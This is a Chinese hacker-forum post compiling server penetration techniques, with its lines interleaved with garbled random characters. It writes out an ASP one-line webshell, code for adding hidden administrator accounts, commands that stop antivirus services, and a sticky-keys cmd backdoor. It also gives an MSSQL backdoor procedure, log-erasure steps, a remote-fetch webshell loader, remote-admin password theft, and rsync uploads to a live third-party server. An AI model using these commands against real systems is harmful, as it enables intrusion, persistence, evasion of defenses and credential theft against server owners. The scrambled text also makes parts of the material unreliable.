渗透技巧总结

admin

旁站路径问题
! r8 ?& z% N1 J( l7 c1、读网站配置。
2 S+ i& ]# M" r. r2、用以下VBS
' j2 l9 @. p- T  B, D- F* vOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

' G) N/ m4 }  ZMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
- ]/ U" F3 n; P* t
, M9 U9 u$ N0 e; bUsage:Cscript vWeb.vbs",4096,"Lilo"
0 T0 V1 e# F/ o$ j# a- `3 l        WScript.Quit
End If
Set ObjService=GetObject
, I. V4 g  m& l: B2 T8 R+ @  N. i
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)
: w) s- U2 E: ?. h& h1 }7 U, z1 c
Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
" |- s. F; A" [# E. C9 A& a
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     

1 O; y9 S' d2 a- g! q                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
* c% e# r5 R2 Z
4 s) \/ B+ T' y% Y( @WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
% Y- o1 V. G/ M/ }' I. ?: e                Next
      
! O7 L! O  N2 ~( I+ u# r
         WScript.Echo "ath            : " & VDirObj.Path
        End If
% ?8 }# J% S, z" ~1 wNext
5 h, M5 b9 Y  Y* N复制代码
2 k6 W4 k4 z+ ~5 q: E8 G% p3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
$ J3 J, a% U# {8 x8 p" k/ ~WordPress的平台，爆绝对路径的方法是：
! V* s! W$ y+ g2 H4 Z& H$ C7 b/ |url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
, g  z  K( y& R) }& dphpMyAdmin暴路径办法:
: a3 F, \& w( W2 X% c; OphpMyAdmin/libraries/select_lang.lib.php
) y' X& H1 }5 x9 ephpMyAdmin/darkblue_orange/layout.inc.php
$ G) Z: s4 D; i) A. ^. uphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
* q$ J9 X+ D- m/ S# t网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
% M' Q, Q* _& @' ]0 Z3 ECMD下操作VPN相关
2 w1 ^. ]" Q+ ]0 c+ \7 T9 Xnetsh ras set user administrator permit #允许administrator拨入该VPN
$ _. a# l& Z- H  v$ Q6 `netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
6 _0 j' z, K/ L8 i% Z% qnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
& M. Q( H8 ?/ q9 t————————————————————
5 b1 X% B" a. ?# ~6 _+ @/ Y+ ~命令行下添加SQL用户的方法
" Y( B( ~3 `0 }需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
2 d7 I4 n7 ]  p& K0 Aexec master.dbo.sp_addlogin test,123
6 m: E9 n6 U! }0 ?EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
" D, o( v7 C* E  |- N3 j
4 j+ l3 A3 F$ w( j( J另类的加用户方法
, m, q* e2 E# w7 |; i4 @# a在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
0 E' |' R; U# S; W( X4 M* qjs:
) ?/ W+ M8 W  [' R4 Lvar o=new ActiveXObject( "Shell.Users" );
- a) _- R. G+ g: n; h; V# a: j% Iz=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
' }( E- c) t- D
+ w% ^$ D. B/ N5 @7 K! o, ovbs:
Set   o=CreateObject( "Shell.Users" )
/ ~& x6 r4 a" y+ k0 w7 v2 VSet z=o.create("test")
z.changePassword "123456",""
$ v$ q% j: H  ?/ {) o, N+ ~1 jz.setting("AccountType")=3
2 I- c1 r* L7 K+ x) ]& r  Q- Q——————————————————
( T: N0 w4 _' ^" U1 c* `: hcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
: _; v1 q7 J, J: e, f! G7 ^cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
1 g. i0 a, U( F7 P* R4 l————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
- w0 {0 g& \% U: _' H3 Yb、内网环境（LCX）
" P' W4 Q( R% m' u8 n. uc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
' o( r: }8 N3 o; W) A5 P2003 运行mstsc /console   

5 @$ i, W0 |5 q7 s+ i4 ~) q! u杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
9 R# P. u1 U3 M: Rnet stop "Symantec Settings Manager" /y
5 q3 C& E* S9 f. e4 E
卖咖啡：net stop "McAfee McShield"
# N( D0 o9 F* U2 \0 m( I————————————————————
7 E' h2 \8 U6 y+ d1 E0 l  @/ g
5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
5 f7 j7 g* i  V# @copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
- A/ W: D2 U, t( Q1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
3 p( Z8 s$ O, ~/ a* W# P2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
4 F- }# E9 K5 e( ^4 OMSSQL扩展后门：
- s5 }: O& C9 v0 a1 RUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
& @  w5 {2 B% n( x1 r  gC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
% z2 M% T; Q( A9 w直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
# n6 C# m* A  z2 T3 I$ h; x6 ^( h+ \用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
9 ]) L( n* A- EMSSQL 2000位于注册表如下：
" v3 y1 m" b& w! U9 z# t4 V  LHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
; h) y1 a+ y* E6 o$ U. h# YMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

$ q/ I  E' w" x* M1 o1 ?4 ?Server\90\Tools\Shell\mru.dat
—————————————————————————
3 E( b2 n: A, u% w防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
" U# W1 X( i& A+ F1 _% `, sDim Ads, Retrieval, GetRemoteData
3 @$ I: g: h8 x9 [4 o, n( f9 XOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
: z3 m' B! x9 o- O( \With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
0 H! M, s; R* F9 F0 o2 {.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
. D! H7 f6 E# iWith Ads
  O$ L" K) x: ]* O( `.Type = 1
) S3 U, R# l$ X% M# `  U.Open
.Write GetRemoteData
- g- C0 E* A) H  X9 m0 q.SaveToFile Server.MapPath(s_LocalFileName), 2
: [( c- D" X) G- h* a.Cancel()
.Close()
End With
Set Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
0 H3 }  N/ f" D$ ?/ X6 W
VNC提权方法:
$ Q! d' w0 \" D  l# l0 a# A/ \利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
! c9 o' e* j& O- l1 J5 W) x4 g' r注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
5 g$ E$ I+ {+ {. [regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
/ [4 P$ V9 d% O* V' tRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
; H8 M, p/ k) D' U/ a, F  B/ pHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
7 _) }: G( K  S& d! P7 h) P保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
) \% W* h" V0 r% G; M2 Y$ R3 U搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
$ a8 O4 K7 k' J3 c——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
+ M4 G- b0 {2 q8 v6 {0 W5 |; Z来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
; x- b% B- Z8 C5 ]/ ?; w( a没有删cmd组建的直接加用户。
+ |5 g" L3 O  _. @* y3 K, u" n+ Q+ x7i24的web目录也是可写，权限为administrator。
/ t, ~9 U( g" Z1 P5 a5 N1 M
1433 SA点构建注入点。
, Q$ `. M# i6 H, d, C7 g<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
! C: M  K) T$ R0 b/ Z7 wstrSQLDBPassword = "数据库密码"
  r  H/ B. p" \/ v7 E) K% f2 Z0 ~strSQLDBName = "数据库名称"
* X! q' I2 S* z/ e/ e7 P+ CSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
" I( c; J4 i# V# |3 W
9 Q3 L! H. n  d; ~- A7 E";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

/ s0 J% [. U( A" ~8 PstrSQLDBName & ";"
% l# D2 w0 W1 K3 G& {4 vconn.open strCon
- U9 U; q4 J6 [7 {9 sdim rs,strSQL,id
, w. f7 T+ D8 [set rs=server.createobject("ADODB.recordset")
/ ]) ?, M7 s& O; did = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
% i& p6 m8 m4 a( P5 L% K4 }/ K%>
( ~; p5 Z" |1 k% N" Y7 i( X复制代码
******liunx 相关******
一.ldap渗透技巧
0 s+ J: \5 ]& V/ w. ~  @- {1.cat /etc/nsswitch
, f1 o6 w5 B7 h8 N看看密码登录策略我们可以看到使用了file ldap模式

3 e) N  u6 ?- H6 l2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
* H. q( n' @- Y2 H( m; h找到ou,dc,dc设置

3.查找管理员信息
匿名方式
+ ^. A# g7 K7 o; p  N! k0 aldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
9 M. U+ m) z; c, [0 q/ _: L7 B
: g7 O) w; V3 h3 C( R6 z- E, g"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
' ~/ ]) l3 J9 o  N  C1 v% b有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
" ]0 D" x; J% w3 z. p, l( P. I
3 V. ]9 \3 m+ L& k# n! t4 S"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


6 k( {' X" O4 n- y/ y4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
) d: Q3 |/ A/ t$ X1.cat /etc/nsswitch
0 Z1 `4 W) b" a* X看看密码登录策略我们可以看到使用了file ldap模式

* y* {/ ]- H5 F2 r/ r2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
/ J  K/ W: {+ e4 r找到ou,dc,dc设置
  |5 y5 j% |4 q; U& s' `2 {3 I1 W
3.查找管理员信息
/ a8 A: q' o* C# \0 d: z匿名方式
5 ]  L8 N3 x0 e$ q; Y" @% qldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

( j% C) o& W3 A# e* m4 ^  X"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

: s* R7 J- L0 r"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
3 \, X2 M6 q: z2 vldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
  E/ a( u/ e+ \) N7 P! O0 X# l, Gversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
0 {1 R! K) f& i; z5 i+ zobjectClass: domain
1 F# W/ L  p+ m- |( S
dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
! t4 I$ r  V" E$ QobjectClass: person
objectClass: top
sn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
1 Q/ t3 q! `" Z: |, i/ guid: superadmin
0 ^0 O2 w  q$ V9 f7 s7 NobjectClass: inetOrgPerson
! Y  S7 e/ x$ u2 I0 {6 i0 dobjectClass: organizationalPerson
objectClass: person
( M) ?2 o# O" B* }1 tobjectClass: top
sn: superadmin
cn: superadmin
9 h  a: D, q' b6 z" F1 ^# n9 D1 J
dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
0 H4 t, d1 p1 ~sn: admin
cn: admin
( q- O+ w2 f9 \$ D
! |0 h! L+ H. X) v( z) jdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
: e8 w3 |( Z  w; \0 m# LobjectClass: top
/ j! l" ~8 Q& H7 v" v1 ?! tobjectClass: person
objectClass: organizationalPerson
% N- Q" u2 l! k8 |& EobjectClass: inetOrgPerson
2 x: Y6 x  y  R9 G) G1 i! rsn: dcp_anonymous
cn: dcp_anonymous

2.查看基类
  Y: v, l( l0 f* _1 i% @! |bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
, g8 f5 k7 ~7 d. h, P9 _  m* N
- v, E: v4 X" p1 x" imore
& w6 c! v3 V) @; ^4 W6 xversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
) o  V! ^) A) l% bobjectClass: domain
5 c5 ?/ b8 z* t0 P, K
' a3 j& G" D* G3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
/ v) f3 w9 c& O  |& kdn:
objectClass: top
% {( z, v# R! Q! K3 w' anamingContexts: dc=ruc,dc=edu,dc=cn
" D" T/ t% }( n1 Z+ ysupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
9 }0 d7 x$ s9 K1 Z+ HsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
' k6 R% q$ @* e- m! QsupportedExtension: 2.16.840.1.113730.3.5.3
! I2 p/ J* f3 \, l- \" R* Q, F$ ]9 lsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
" H5 c+ [  q  i. _( L% |1 csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
* C" U0 ~1 w& z  S( a! EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
5 i/ a( @" R3 A; q3 PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
4 A" V1 z! U' I* U# Q5 @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
1 Y- M- {1 i8 d3 N" W+ ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
& x5 h4 b9 u; ]* R$ }1 O8 y$ X# W; fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
3 L- M5 q: T2 D' `0 `$ G( R; S; b! }- n7 e3 WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
+ Z  t/ {+ P0 s; h) d) X9 ^7 _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
1 ?$ \' Y5 Z% I1 m* j0 b1 ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
. E0 u7 S  L8 m( ]3 WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
( q. i2 T6 E, b+ _supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
. i9 J2 [) b: i8 nsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
5 X5 r+ v2 ?: U9 w# L) z& H! esupportedControl: 2.16.840.1.113730.3.4.19
* Y0 H; k2 c6 O# [% FsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
$ i" O7 @( P7 v2 Z. L$ p& UsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
9 {# Y* a3 i: f) Y( `; JsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
$ F% ~% }$ ], ]3 Y, X; fsupportedControl: 2.16.840.1.113730.3.4.14
9 ]5 G9 i8 |: _8 C+ u! {- qsupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
7 A* r5 j) [) o( ysupportedControl: 2.16.840.1.113730.3.4.18
* S% {) [/ z" p0 A6 N+ ysupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
. ~/ Y" [- ]$ M. O% MsupportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
& }7 M% k: p7 y+ @( J; j6 u: \vendorVersion: Sun-Java(tm)-System-Directory/6.2
) D. |/ Z/ U2 o/ Z- S* `dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
0 s) W: u# i) ~supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
8 `" ^% q' g! n" WsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
  Z$ p4 u  G' ]; E2 W- g: LsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
9 v0 M7 ~5 Y  j1 @/ A  zsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
8 k+ {* l. i$ X1 n, ZsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
' J3 u8 x# I) ~5 VsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
; K; v' o: @1 Z  g7 r, D, e; dsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
* D* x9 n+ U. C+ |" QsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
$ V- O8 a- r2 ?! ?% V: J9 j6 }2 vsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
6 y7 g9 c; Z7 N8 osupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
' O, L/ @- D; _. B& XsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
; F3 h: ~5 V$ W8 G; isupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
" g% k& o; `1 v# r% I# K7 dsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
9 m; d7 @* \& Y; B8 CsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
* N  `+ q& T% `, y7 @supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
7 o6 J) Z$ H* a$ A9 |supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
8 x5 O' x/ y( c# RsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
8 h! v" I3 P6 E8 V1 B5 B, {6 g+ gsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
5 v4 X2 i4 @2 g- O$ a" g& l& j4 esupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
0 B+ M' k4 U2 y- a* xsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
% S: G/ V8 R4 Q' jsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
6 I! r% q6 E& w; G) w. nsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
% P! s) L* f, U: B5 b1 |! psupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
; F  o; D3 P/ z/ C0 F  L————————————
& ^$ c) H" x3 v7 f$ M6 A2. NFS渗透技巧
7 ]) U3 q/ i& R" u3 jshowmount -e ip
2 U7 t; t  B1 a+ i" Y0 C列举IP
/ y3 Y/ \+ u9 S! `. ~——————
+ Z5 _7 ?( J% O4 K4 z2 g3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
# k8 Q- X& E% ]7 eimg_finance
auto
img_auto
html_cms
img_cms
ent_cms
1 y' x" j1 Y6 v$ W( G  ?( bent_img
ceshi
res_img
res_img_c2
chip
* b% J8 M4 T5 X8 m/ B; Xchip_c2
ent_icms
games
gamesimg
, H' C( z" X+ D6 w" i. L+ _media
( Z4 |4 m, [2 Y5 cmediaimg
fashion
res-fashion
' v6 ^) h/ w6 J2 L% T/ \res-fo
taobao-home
  N- H+ f! g3 @+ U8 x, A# Vres-taobao-home
house
! ~, S6 ?6 G# ~* Q3 }res-house
res-home
0 ?  F2 X+ p& [# ?6 h/ T) l( r: Vres-edu
1 E" [4 N4 C8 Q$ Rres-ent
res-labs
5 I6 w/ s9 c; E3 |$ Xres-news
res-phtv
& c& ^/ T/ k1 a% Cres-media
3 q+ J( J: s9 l# d$ Ghome
edu
& z6 R/ Q: Z7 y7 W' ^% A5 V& hnews
res-book
0 h/ n5 \5 u. t' \% r) e
看相应的下级目录(注意一定要在目录后面添加上/)


rsync 210.51.X.X::htdocs_app/
0 M6 z/ ^0 I, U1 drsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
+ c- E& }$ ]% \/ ~4 _
% f; o& _9 ]5 j; O3.向上更新rsync文件(成功上传,不会覆盖)
# y  Z0 {% R3 a. A: p) {rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
# O8 t% m: |+ h3 R/ A4 `3 y8 l8 ?
四.squid渗透技巧
0 t7 i: ~! S) S4 jnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
# K5 r, ^7 ~& m, g* ?- ^五.SSH端口转发
7 J6 {( v+ n! Y. j+ issh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
2 y' Z& K' X7 R# N; [
3 y; w& f$ V: T6 y六.joomla渗透小技巧
9 s( N) i, Z) m! l  Z+ s. u. i确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
5 _: J7 m0 I( |8 a5 G! }7 n- h
重新设置密码
6 _# Z; P; ~# l6 _4 c! zindex.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
* c. n8 X: W6 C# T/ H
- Q% c$ x0 l! I3 n& M- ]2 t/ u八.freebsd本地提权
. ?7 ^, v3 R4 _1 Z1 T) E[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
$ F4 O) F; u! V# }" S, Y4 [* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
8 c5 ^; }; k, \6 ~4 y5 }* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
, i/ m$ R. M2 s" w$ `6 P/ K* m5 A* [argp@julius ~]$ ./nfs_mount_ex
*
4 ^& e( E3 Y/ \0 `2 E! ~calling nmount()
3 O; ]# K- t% a3 S  C: v; @0 E  x
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
* h, [* ^8 u, W' P2 e6 I: e——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
